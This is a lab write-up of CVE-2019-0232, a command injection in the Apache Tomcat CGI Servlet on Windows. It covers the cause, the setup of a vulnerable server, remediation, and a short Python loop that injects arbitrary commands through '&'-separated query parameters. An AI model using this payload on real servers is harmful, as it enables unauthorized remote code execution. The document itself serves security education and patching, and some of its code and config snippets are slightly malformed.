CVE-2019-0232

Description

Apache Tomcat has a vulnerability in the CGI Servlet which can be exploited to achieve remote code execution (RCE). This is only exploitable when running on Windows in a non-default configuration in conjunction with batch files.

Explanation of Bug:

There is a vulnerability in parameter interpolation in Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 which can be exploited by passing arguements as query parameters which in turn are passed to the underlying windows command line.
In windows `&` is a special character which acts as command seperator. Neither Apache Tomcat or the Windows JRE perform does any kind of input validation for these special characters.
So, after this we can literally input any command directly to the command line. For example, if input is `&<cmd_to_run>`, the command which is passed to cmdline will be

```
RCE.bat &<cmd_to_run>
```

Here cmd.exe will interpret `RCE.bat` and `<cmd_to_run>` as seperate commands. To see the output of the injected command we need to prepend the command with `&echo.`.
If this is not done, command will still be invoked but we will not be able to see its output.
Optionally we can also prepend the command with `&echo+off` which turns off printing of present working directory.
(`+` is a must and cannot be replaced by `%20` or `space` since HTML queries have MIME type of `application/x-www-form-urlencoded` and since there are no forms we have to craft query parameters manually).

```
RCE.bat &echo off&echo.&<cmd_to_run>
```

This bug is only exploitable when running on Windows in a non-default configuration in conjunction with batch files and `enableCmdLineArguements` set to `true` in web.xml file.
If also `passShellEnvironment` is also set to `true`, this gives the upper-hand to the attacker as he then doesn't need to enter exact path of commands he want to run.

Environment Setup:

1. We installed a Java Runtime Environment (JRE) on a Windows 7 virtual machine.

2. We then download the vulnerable version of Tomcat (in this case 7.0.93) and extract.

3. To enable privileged context, we modify the `conf\context.xml` file and set the property `privileged` to True.

   ```
   <Context privileged="true">
   ```

4. To enable the CGI Serverlet, we would need to uncomment the commented CGI Serverlet section in `conf\web.xml`. We also initialize the `enableCmdLineArguments` to `true` for passing command line arguments to CGI script, we can also set `passShellEnvironment` for the sake of convenience without passing full paths of commands to be executed. “‘ html

   cgi org.apache.catalina.servlets.CGIServlet cgiPathPrefix WEB-INF/cgi executable enableCmdLineArguments true passShellEnvironment true 5 “‘

5. We enable the url pattern `/cgi/*` to be handled by the cgi scripts. `html <servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi/*</url-pattern> </servlet-mapping>`

6. To demonstrate the vulnerability, we need some cgi scripts to be present on the server, to simulate that, we create a directory for the cgi scripts

   ```
   mkdir webapps\ROOT\WEB-INF\cgi
   ```

7. The exploit requires the presence of some cgi script, which would be executed each time a request to the certain script is made. The exploit would work as long as we have a non-empty valid cgi script (this script could otherwise be found by some attacker with enumeration under similar environment). We just create a `RCE.bat` which simply sleeps for 1 second `bash echo timeout 1 > webapps\ROOT\WEB-INF\cgi\RCE.bat`

8. We then instantiate the the TomCat server for exploitation

   ```
   cd bin
   catalina run
   ```

9. Now we have our vulnerable server up for exploitation, we pass commands to the url of the cgi batch script.

Exploit Code:

```
import requests as re
base_url = input("Enter url of the .bat cgi script: ")
while(True):
    command = input("Enter the command: ")
    command = '&echo off'+'&echo.'+'&'+command
    # & is command seperator
    r = re.get(base_url, params=command.replace(" ","+"))
```

```
# ' ' is replaced by '+' to craft valid query parameters
print(r.text)
```

Remediation:

1. Set `enableCmdLineArguements` to `False`.
2. If above option is required then add additional parameter `cmdLineArgumentsDecoded` and set it to `true`for proper input validation.